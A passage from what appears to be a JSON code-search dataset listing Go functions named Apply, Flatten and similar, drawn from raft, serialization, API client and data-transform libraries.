error.\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\taux = \"GROWTH_\" + tag.Params[0]\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\t\n\t\tif obj != \"\" {\n\t\t\tswapIfExist(tag, obj, aux, table)\n\t\t}\n\t}\n}","func (r ApiGetHyperflexAlarmListRequest) Apply(apply string) ApiGetHyperflexAlarmListRequest {\n\tr.apply = &apply\n\treturn r\n}","func flattenUrlMapPathMatcherRouteRuleMatchRuleMetadataFilterMap(c *Client, i interface{}) map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter {\n\ta, ok := i.(map[string]interface{})\n\tif !ok {\n\t\treturn map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter{}\n\t}\n\n\tif len(a) == 0 {\n\t\treturn map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter{}\n\t}\n\n\titems := make(map[string]UrlMapPathMatcherRouteRuleMatchRuleMetadataFilter)\n\tfor k, item := range a {\n\t\titems[k] = *flattenUrlMapPathMatcherRouteRuleMatchRuleMetadataFilter(c, item.(map[string]interface{}))\n\t}\n\n\treturn items\n}","func (r ApiGetHyperflexHealthCheckExecutionSnapshotListRequest) Apply(apply string) ApiGetHyperflexHealthCheckExecutionSnapshotListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r ApiGetHyperflexNodeProfileListRequest) Apply(apply string) ApiGetHyperflexNodeProfileListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (b *Bilateral) Apply(t *Tensor) *Tensor {\n\tdistances := NewTensor(b.KernelSize, b.KernelSize, 1)\n\tcenter := b.KernelSize / 2\n\tfor i := 0; i < b.KernelSize; i++ {\n\t\tfor j := 0; j < b.KernelSize; j++ {\n\t\t\t*distances.At(i, j, 0) = float32((i-center)*(i-center) + (j-center)*(j-center))\n\t\t}\n\t}\n\n\t// Pad with very large negative numbers to prevent\n\t// the filter from incorporating the padding.\n\tpadded := t.Add(100).Pad(center, center, center, center).Add(-100)\n\tout := NewTensor(t.Height, t.Width, t.Depth)\n\tPatches(padded, b.KernelSize, 1, func(idx int, patch *Tensor) {\n\t\tb.blurPatch(distances, patch, out.Data[idx*out.Depth:(idx+1)*out.Depth])\n\t})\n\n\treturn out\n}"],"string":"[\n \"func (f *Flattener) flatten(entry *mapEntry) (*FlattenerPoint, error) {\\n\\n\\tvar flatValue float64\\n\\n\\tswitch entry.operation {\\n\\n\\tcase Avg:\\n\\n\\t\\tfor _, v := range entry.values {\\n\\t\\t\\tflatValue += v\\n\\t\\t}\\n\\n\\t\\tflatValue /= (float64)(len(entry.values))\\n\\n\\tcase Sum:\\n\\n\\t\\tfor _, v := range entry.values {\\n\\t\\t\\tflatValue += v\\n\\t\\t}\\n\\n\\tcase Count:\\n\\n\\t\\tflatValue = (float64)(len(entry.values))\\n\\n\\tcase Min:\\n\\n\\t\\tflatValue = entry.values[0]\\n\\n\\t\\tfor i := 1; i < len(entry.values); i++ {\\n\\n\\t\\t\\tif entry.values[i] < flatValue {\\n\\t\\t\\t\\tflatValue = entry.values[i]\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\tcase Max:\\n\\n\\t\\tflatValue = entry.values[0]\\n\\n\\t\\tfor i := 1; i < len(entry.values); i++ {\\n\\n\\t\\t\\tif entry.values[i] > flatValue {\\n\\t\\t\\t\\tflatValue = entry.values[i]\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\tdefault:\\n\\n\\t\\treturn nil, fmt.Errorf(\\\"operation id %d is not mapped\\\", entry.operation)\\n\\t}\\n\\n\\treturn &FlattenerPoint{\\n\\t\\tflattenerPointData: entry.flattenerPointData,\\n\\t\\tvalue: flatValue,\\n\\t}, nil\\n}\",\n \"func (e Entry) flatten(m map[string]interface{}) {\\n\\tm[\\\"message\\\"] = e.Message\\n\\tm[\\\"severity\\\"] = e.Severity\\n\\tif e.Trace != \\\"\\\" {\\n\\t\\tm[\\\"logging.googleapis.com/trace\\\"] = e.Trace\\n\\t}\\n\\tif e.Component != \\\"\\\" {\\n\\t\\tm[\\\"component\\\"] = e.Component\\n\\t}\\n\\tif e.Fields != nil {\\n\\t\\tfor k, v := range e.Fields {\\n\\t\\t\\tm[k] = v\\n\\t\\t}\\n\\t}\\n}\",\n \"func (d *dataUsageCache) flatten(root dataUsageEntry) dataUsageEntry {\\n\\tfor id := range root.Children {\\n\\t\\te := d.Cache[id]\\n\\t\\tif len(e.Children) > 0 {\\n\\t\\t\\te = d.flatten(e)\\n\\t\\t}\\n\\t\\troot.merge(e)\\n\\t}\\n\\troot.Children = nil\\n\\treturn root\\n}\",\n \"func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\\n\\t// Has entry?\\n\\tif len(apply.entries) == 0 {\\n\\t\\treturn\\n\\t}\\n\\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\\n\\tfirsti := apply.entries[0].Index\\n\\tif firsti > gmp.appliedi+1 {\\n\\t\\tlogger.Panicf(\\\"first index of committed entry[%d] should <= appliedi[%d] + 1\\\", firsti, gmp.appliedi)\\n\\t}\\n\\t// Extract useful entries.\\n\\tvar ents []raftpb.Entry\\n\\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\\n\\t\\tents = apply.entries[gmp.appliedi+1-firsti:]\\n\\t}\\n\\t// Iterate all entries\\n\\tfor _, e := range ents {\\n\\t\\tswitch e.Type {\\n\\t\\t// Normal entry.\\n\\t\\tcase raftpb.EntryNormal:\\n\\t\\t\\tif len(e.Data) != 0 {\\n\\t\\t\\t\\t// Unmarshal request.\\n\\t\\t\\t\\tvar req InternalRaftRequest\\n\\t\\t\\t\\tpbutil.MustUnmarshal(&req, e.Data)\\n\\n\\t\\t\\t\\tvar ar applyResult\\n\\t\\t\\t\\t// Put new value\\n\\t\\t\\t\\tif put := req.Put; put != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[put.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", put.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get key, value and revision.\\n\\t\\t\\t\\t\\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\\n\\t\\t\\t\\t\\t// Get map and put value into map.\\n\\t\\t\\t\\t\\tm := set.get(put.Map)\\n\\t\\t\\t\\t\\tm.put(key, value, revision)\\n\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\\n\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t// Set apply result.\\n\\t\\t\\t\\t\\tar.rev = revision\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Delete value\\n\\t\\t\\t\\tif del := req.Delete; del != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[del.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", del.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map and delete value from map.\\n\\t\\t\\t\\t\\tm := set.get(del.Map)\\n\\t\\t\\t\\t\\tif pre := m.delete(del.Key); nil != pre {\\n\\t\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t\\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\\n\\t\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Update value\\n\\t\\t\\t\\tif update := req.Update; update != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[update.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", update.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map.\\n\\t\\t\\t\\t\\tm := set.get(update.Map)\\n\\t\\t\\t\\t\\t// Update value.\\n\\t\\t\\t\\t\\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\\n\\t\\t\\t\\t\\tif ok {\\n\\t\\t\\t\\t\\t\\t// The revision will be set only if update succeed\\n\\t\\t\\t\\t\\t\\tar.rev = e.Index\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif nil != pre {\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Trigger proposal waiter.\\n\\t\\t\\t\\tgm.wait.Trigger(req.ID, &ar)\\n\\t\\t\\t}\\n\\t\\t// The configuration of gmap is fixed and wil not be synchronized through raft.\\n\\t\\tcase raftpb.EntryConfChange:\\n\\t\\tdefault:\\n\\t\\t\\tlogger.Panicf(\\\"entry type should be either EntryNormal or EntryConfChange\\\")\\n\\t\\t}\\n\\n\\t\\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\\n\\t}\\n}\",\n \"func (h *GrayLog) flatten(item map[string]interface{}, fields map[string]interface{}, id string) {\\n\\tif id != \\\"\\\" {\\n\\t\\tid = id + \\\"_\\\"\\n\\t}\\n\\tfor k, i := range item {\\n\\t\\tswitch i := i.(type) {\\n\\t\\tcase int:\\n\\t\\t\\tfields[id+k] = float64(i)\\n\\t\\tcase float64:\\n\\t\\t\\tfields[id+k] = i\\n\\t\\tcase map[string]interface{}:\\n\\t\\t\\th.flatten(i, fields, id+k)\\n\\t\\tdefault:\\n\\t\\t}\\n\\t}\\n}\",\n \"func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tif len(oa) == 1 {\\n\\t\\tfor _, v := range oa {\\n\\t\\t\\treturn value.NewValue(v), nil\\n\\t\\t}\\n\\t}\\n\\n\\treturn value.NULL_VALUE, nil\\n}\",\n \"func (a *Add) Apply(data []byte) ([]byte, error) {\\n\\tinput := convert.SliceToMap(strings.Split(a.Path, \\\".\\\"), a.composeValue())\\n\\tvar event interface{}\\n\\tif err := json.Unmarshal(data, &event); err != nil {\\n\\t\\treturn data, err\\n\\t}\\n\\n\\tresult := convert.MergeJSONWithMap(event, input)\\n\\toutput, err := json.Marshal(result)\\n\\tif err != nil {\\n\\t\\treturn data, err\\n\\t}\\n\\n\\treturn output, nil\\n}\",\n \"func (op *OpRetain) Apply(e *entry.Entry) error {\\n\\tnewEntry := entry.New()\\n\\tnewEntry.Timestamp = e.Timestamp\\n\\tfor _, field := range op.Fields {\\n\\t\\tval, ok := e.Get(field)\\n\\t\\tif !ok {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\terr := newEntry.Set(field, val)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\t*e = *newEntry\\n\\treturn nil\\n}\",\n \"func (tree *AcceptTree) Flatten() []*AcceptEntry {\\n\\tentries := make([]*AcceptEntry, 0, tree.Size)\\n\\ttree.flattenToTarget(&entries)\\n\\treturn entries\\n}\",\n \"func (e *Element) Apply(element *Element) {\\n\\telement.Children = append(element.Children, e)\\n}\",\n \"func (re *raftEngine) entriesToApply(ents []raftpb.Entry) (nents []raftpb.Entry) {\\r\\n\\tif len(ents) == 0 {\\r\\n\\t\\treturn\\r\\n\\t}\\r\\n\\tfirstIndex := ents[0].Index\\r\\n\\tif firstIndex > re.appliedIndex+1 {\\r\\n\\t\\tlog.ZAPSugaredLogger().Errorf(\\\"Error raised when processing entries to apply, first index of committed entry [%d] should <= appliedIndex [%d].\\\", firstIndex, re.appliedIndex)\\r\\n\\t\\treturn\\r\\n\\t}\\r\\n\\tif re.appliedIndex-firstIndex+1 < uint64(len(ents)) {\\r\\n\\t\\tnents = ents[re.appliedIndex-firstIndex+1:]\\r\\n\\t}\\r\\n\\treturn\\r\\n}\",\n \"func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func Apply(data []byte, x interface{}) error {\\n\\trx := reflect.ValueOf(x)\\n\\tif rx.Kind() != reflect.Ptr || rx.IsNil() {\\n\\t\\treturn ErrNonPointer\\n\\t}\\n\\n\\tvar patches []Patch\\n\\terr := json.Unmarshal(data, &patches)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\try := reflect.New(rx.Elem().Type())\\n\\t// I am making a copy of the interface so that when an\\n\\t// error arises while performing one of the patches the\\n\\t// original data structure does not get altered.\\n\\terr = deep.Copy(x, ry.Interface())\\n\\tif err != nil {\\n\\t\\treturn ErrCouldNotCopy\\n\\t}\\n\\n\\tfor _, p := range patches {\\n\\t\\tpath := strings.Trim(p.Path, \\\"/\\\")\\n\\t\\terr := rapply(path, &p, ry)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\trx.Elem().Set(ry.Elem())\\n\\treturn nil\\n}\",\n \"func (this *ObjectInnerValues) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := removeMissing(arg)\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = oa[k]\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (r ApiGetHyperflexServerFirmwareVersionEntryListRequest) Apply(apply string) ApiGetHyperflexServerFirmwareVersionEntryListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (*Base) Apply(p ASTPass, node *ast.Apply, ctx Context) {\\n\\tp.Visit(p, &node.Target, ctx)\\n\\tp.Arguments(p, &node.FodderLeft, &node.Arguments, &node.FodderRight, ctx)\\n\\tif node.TailStrict {\\n\\t\\tp.Fodder(p, &node.TailStrictFodder, ctx)\\n\\t}\\n}\",\n \"func (tree *AcceptTree) flattenToTarget(target *[]*AcceptEntry) {\\n\\tif tree.Value != nil {\\n\\t\\tif tree.Left != nil {\\n\\t\\t\\ttree.Left.flattenToTarget(target)\\n\\t\\t}\\n\\t\\t*target = append(*target, tree.Value)\\n\\t\\tif tree.Right != nil {\\n\\t\\t\\ttree.Right.flattenToTarget(target)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (args Args) AddFlat(v interface{}) Args {\\n\\trv := reflect.ValueOf(v)\\n\\tswitch rv.Kind() {\\n\\tcase reflect.Struct:\\n\\t\\targs = flattenStruct(args, rv)\\n\\tcase reflect.Slice:\\n\\t\\tfor i := 0; i < rv.Len(); i++ {\\n\\t\\t\\targs = append(args, rv.Index(i).Interface())\\n\\t\\t}\\n\\tcase reflect.Map:\\n\\t\\tfor _, k := range rv.MapKeys() {\\n\\t\\t\\targs = append(args, k.Interface(), rv.MapIndex(k).Interface())\\n\\t\\t}\\n\\tcase reflect.Ptr:\\n\\t\\tif rv.Type().Elem().Kind() == reflect.Struct {\\n\\t\\t\\tif !rv.IsNil() {\\n\\t\\t\\t\\targs = flattenStruct(args, rv.Elem())\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\targs = append(args, v)\\n\\t\\t}\\n\\tdefault:\\n\\t\\targs = append(args, v)\\n\\t}\\n\\treturn args\\n}\",\n \"func Unflatten(flat map[string]interface{}) (nested map[string]interface{}, err error) {\\n\\tnested = make(map[string]interface{})\\n\\n\\tfor k, v := range flat {\\n\\t\\ttemp := uf(k, v).(map[string]interface{})\\n\\t\\terr = mergo.Merge(&nested, temp)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\twalk(reflect.ValueOf(nested))\\n\\n\\treturn\\n}\",\n \"func Flatten(toFlatten interface{}) (result interface{}) {\\n\\ttemp := toFlatten.(map[string]interface{})\\n\\tif len(temp) > 1 {\\n\\t\\tpanic(\\\"ndgo.Flatten:: flattened json has more than 1 item, operation not supported\\\")\\n\\t}\\n\\tfor _, item := range temp {\\n\\t\\treturn item\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r ApiGetHyperflexVmRestoreOperationListRequest) Apply(apply string) ApiGetHyperflexVmRestoreOperationListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (reading_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\\n\\tobj := object.(*Reading)\\n\\tvar offsetValueName = fbutils.CreateStringOffset(fbb, obj.ValueName)\\n\\tvar offsetValueString = fbutils.CreateStringOffset(fbb, obj.ValueString)\\n\\n\\tvar rIdEventId = obj.EventId\\n\\n\\t// build the FlatBuffers object\\n\\tfbb.StartObject(9)\\n\\tfbutils.SetUint64Slot(fbb, 0, id)\\n\\tfbutils.SetInt64Slot(fbb, 1, obj.Date)\\n\\tfbutils.SetUint64Slot(fbb, 2, rIdEventId)\\n\\tfbutils.SetUOffsetTSlot(fbb, 3, offsetValueName)\\n\\tfbutils.SetUOffsetTSlot(fbb, 4, offsetValueString)\\n\\tfbutils.SetInt64Slot(fbb, 5, obj.ValueInteger)\\n\\tfbutils.SetFloat64Slot(fbb, 6, obj.ValueFloating)\\n\\tfbutils.SetInt32Slot(fbb, 7, obj.ValueInt32)\\n\\tfbutils.SetFloat32Slot(fbb, 8, obj.ValueFloating32)\\n\\treturn nil\\n}\",\n \"func Flatten(entries []*Entry) [][]string {\\n\\tnames := make([]string, 0, len(entries))\\n\\texecs := make([]string, 0, len(entries))\\n\\n\\tfor _, v := range entries {\\n\\t\\tnames = append(names, v.Name)\\n\\n\\t\\tswitch s := strings.Split(v.Exec, \\\" \\\"); {\\n\\t\\tcase !strings.HasPrefix(s[0], \\\"/\\\") && len(s) == 1 && len(v.Name) > 1:\\n\\t\\t\\texecs = append(execs, TrimRight(v.Exec))\\n\\t\\tcase !strings.HasPrefix(s[0], \\\"/\\\") && len(s[0]) > 2:\\n\\t\\t\\texecs = append(execs, TrimRight(s[0]))\\n\\t\\tdefault:\\n\\t\\t\\texecs = append(execs, \\\"\\\")\\n\\t\\t}\\n\\t}\\n\\n\\treturn [][]string{names, execs}\\n}\",\n \"func (r ApiGetBulkExportedItemListRequest) Apply(apply string) ApiGetBulkExportedItemListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (m *TMap) Apply(args ...interface{}) interface{} {\\n\\tkey := args[0]\\n\\treturn m.At(key)\\n}\",\n \"func Apply(fn Term, args ...Term) Term {\\n\\tout := fn\\n\\tfor _, arg := range args {\\n\\t\\tout = App{Fn: out, Arg: arg}\\n\\t}\\n\\treturn out\\n}\",\n \"func (f *Flattener) Flatten(input interface{}, flattened *bson.D) error {\\n\\tf.flattened = flattened\\n\\tif f.Separator == nil {\\n\\t\\tf.Separator = &defaultSeparator\\n\\t}\\n\\treturn f.flatten(input, \\\"\\\")\\n}\",\n \"func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\\n\\treturn f(ctx, data)\\n}\",\n \"func (s Schema) Apply(data map[string]interface{}, opts ...ApplyOption) (common.MapStr, error) {\\n\\tevent, errors := s.ApplyTo(common.MapStr{}, data, opts...)\\n\\treturn event, errors.Err()\\n}\",\n \"func (r ApiGetHyperflexVmImportOperationListRequest) Apply(apply string) ApiGetHyperflexVmImportOperationListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (s *Storage) Flatten(ctx context.Context, ids []ID, cb func(id ID) error) error {\\n\\tfor _, id := range ids {\\n\\t\\tmd, err := s.store.Get(ctx, id)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tswitch x := md.Value.(type) {\\n\\t\\tcase *Metadata_Primitive:\\n\\t\\t\\tif err := cb(id); err != nil {\\n\\t\\t\\t\\tif errors.Is(err, errutil.ErrBreak) {\\n\\t\\t\\t\\t\\treturn nil\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\tcase *Metadata_Composite:\\n\\t\\t\\tids, err := x.Composite.PointsTo()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tif err := s.Flatten(ctx, ids, cb); err != nil {\\n\\t\\t\\t\\tif errors.Is(err, errutil.ErrBreak) {\\n\\t\\t\\t\\t\\treturn nil\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\t// TODO: should it be?\\n\\t\\t\\treturn errors.Errorf(\\\"Flatten is not defined for empty filesets\\\")\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (cfg *Config) flatten1(t xsd.Type, push func(xsd.Type)) xsd.Type {\\n\\tswitch t := t.(type) {\\n\\tcase *xsd.SimpleType:\\n\\t\\tvar (\\n\\t\\t\\tchain []xsd.Type\\n\\t\\t\\tbase, builtin xsd.Type\\n\\t\\t\\tok bool\\n\\t\\t)\\n\\t\\t// TODO: handle list/union types\\n\\t\\tfor base = xsd.Base(t); base != nil; base = xsd.Base(base) {\\n\\t\\t\\tif builtin, ok = base.(xsd.Builtin); ok {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\tchain = append(chain, base)\\n\\t\\t}\\n\\t\\tfor _, v := range chain {\\n\\t\\t\\tif v, ok := v.(*xsd.SimpleType); ok {\\n\\t\\t\\t\\tv.Base = builtin\\n\\t\\t\\t\\tpush(v)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tt.Base = builtin\\n\\t\\treturn t\\n\\tcase *xsd.ComplexType:\\n\\t\\t// We can \\\"unpack\\\" a struct if it is extending a simple\\n\\t\\t// or built-in type and we are ignoring all of its attributes.\\n\\t\\tswitch t.Base.(type) {\\n\\t\\tcase xsd.Builtin, *xsd.SimpleType:\\n\\t\\t\\tif b, ok := t.Base.(xsd.Builtin); ok && b == xsd.AnyType {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\tattributes, _ := cfg.filterFields(t)\\n\\t\\t\\tif len(attributes) == 0 {\\n\\t\\t\\t\\tcfg.debugf(\\\"complexType %s extends simpleType %s, but all attributes are filtered. unpacking.\\\",\\n\\t\\t\\t\\t\\tt.Name.Local, xsd.XMLName(t.Base))\\n\\t\\t\\t\\tswitch b := t.Base.(type) {\\n\\t\\t\\t\\tcase xsd.Builtin:\\n\\t\\t\\t\\t\\treturn b\\n\\t\\t\\t\\tcase *xsd.SimpleType:\\n\\t\\t\\t\\t\\treturn cfg.flatten1(t.Base, push)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// We can flatten a struct field if its type does not\\n\\t\\t// need additional methods for unmarshalling.\\n\\t\\tfor i, el := range t.Elements {\\n\\t\\t\\tel.Type = cfg.flatten1(el.Type, push)\\n\\t\\t\\tif b, ok := el.Type.(*xsd.SimpleType); ok {\\n\\t\\t\\t\\tif !b.List && len(b.Union) == 0 {\\n\\t\\t\\t\\t\\tel.Type = xsd.Base(el.Type)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tt.Elements[i] = el\\n\\t\\t}\\n\\t\\tfor i, attr := range t.Attributes {\\n\\t\\t\\tattr.Type = cfg.flatten1(attr.Type, push)\\n\\t\\t\\tif b, ok := attr.Type.(*xsd.SimpleType); ok {\\n\\t\\t\\t\\tif !b.List && len(b.Union) == 0 {\\n\\t\\t\\t\\t\\tattr.Type = xsd.Base(attr.Type)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tt.Attributes[i] = attr\\n\\t\\t}\\n\\t\\treturn t\\n\\tcase xsd.Builtin:\\n\\t\\t// There are a few built-ins that do not map directly to Go types.\\n\\t\\t// for these, we will declare them in the Go source.\\n\\t\\tswitch t {\\n\\t\\tcase xsd.ENTITIES, xsd.IDREFS, xsd.NMTOKENS:\\n\\t\\t\\tpush(t)\\n\\t\\tcase xsd.Base64Binary, xsd.HexBinary:\\n\\t\\t\\tpush(t)\\n\\t\\tcase xsd.Date, xsd.Time, xsd.DateTime:\\n\\t\\t\\tpush(t)\\n\\t\\tcase xsd.GDay, xsd.GMonth, xsd.GMonthDay, xsd.GYear, xsd.GYearMonth:\\n\\t\\t\\tpush(t)\\n\\t\\t}\\n\\t\\treturn t\\n\\t}\\n\\tpanic(fmt.Sprintf(\\\"unexpected %T\\\", t))\\n}\",\n \"func (u updateCachedUploadRevision) apply(data *journalPersist) {\\n\\tc := data.CachedRevisions[u.Revision.ParentID.String()]\\n\\tc.Revision = u.Revision\\n\\tif u.SectorIndex == len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\\n\\t} else if u.SectorIndex < len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\\n\\t} else {\\n\\t\\t// Shouldn't happen. TODO: Add correct error handling.\\n\\t}\\n\\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\\n}\",\n \"func (u *updater) Apply(ch *client.Change) error {\\n\\tfmt.Printf(\\\"Incoming change: %v\\\\n\\\", ch.TypeURL)\\n\\n\\tfor i, o := range ch.Objects {\\n\\t\\tfmt.Printf(\\\"%s[%d]\\\\n\\\", ch.TypeURL, i)\\n\\n\\t\\tb, err := json.MarshalIndent(o, \\\" \\\", \\\" \\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Printf(\\\" Marshalling error: %v\\\", err)\\n\\t\\t} else {\\n\\t\\t\\tfmt.Printf(\\\"%s\\\\n\\\", string(b))\\n\\t\\t}\\n\\n\\t\\tfmt.Printf(\\\"===============\\\\n\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r ApiGetBulkResultListRequest) Apply(apply string) ApiGetBulkResultListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (this *ObjectInnerPairs) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := removeMissing(arg)\\n\\tkeys := make(sort.StringSlice, 0, len(oa))\\n\\tfor key, _ := range oa {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\n\\tsort.Sort(keys)\\n\\tra := make([]interface{}, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\tra[i] = map[string]interface{}{\\\"name\\\": k, \\\"value\\\": oa[k]}\\n\\t}\\n\\n\\treturn value.NewValue(ra), nil\\n}\",\n \"func (testStringIdEntity_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\\n\\n\\t// build the FlatBuffers object\\n\\tfbb.StartObject(1)\\n\\tfbutils.SetUint64Slot(fbb, 0, id)\\n\\treturn nil\\n}\",\n \"func flattenStoredInfoTypeDictionary(c *Client, i interface{}, res *StoredInfoType) *StoredInfoTypeDictionary {\\n\\tm, ok := i.(map[string]interface{})\\n\\tif !ok {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tr := &StoredInfoTypeDictionary{}\\n\\n\\tif dcl.IsEmptyValueIndirect(i) {\\n\\t\\treturn EmptyStoredInfoTypeDictionary\\n\\t}\\n\\tr.WordList = flattenStoredInfoTypeDictionaryWordList(c, m[\\\"wordList\\\"], res)\\n\\tr.CloudStoragePath = flattenStoredInfoTypeDictionaryCloudStoragePath(c, m[\\\"cloudStoragePath\\\"], res)\\n\\n\\treturn r\\n}\",\n \"func Unflatten(m map[string]interface{}, tf TokenizerFunc) map[string]interface{} {\\n\\ttree := make(map[string]interface{})\\n\\n\\tc := make(chan map[string]interface{})\\n\\n\\tgo mapify(m, c, tf)\\n\\n\\tfor n := range c {\\n\\t\\tmergo.Merge(&tree, n)\\n\\t}\\n\\n\\treturn tree\\n}\",\n \"func (dump *Dump) EctractAndApplyUpdateEntryType(record *Content, pack *PackedContent) {\\n\\tdump.RemoveFromEntryTypeIndex(pack.EntryTypeString, pack.ID)\\n\\n\\tpack.EntryType = record.EntryType\\n\\tpack.EntryTypeString = entryTypeKey(record.EntryType, 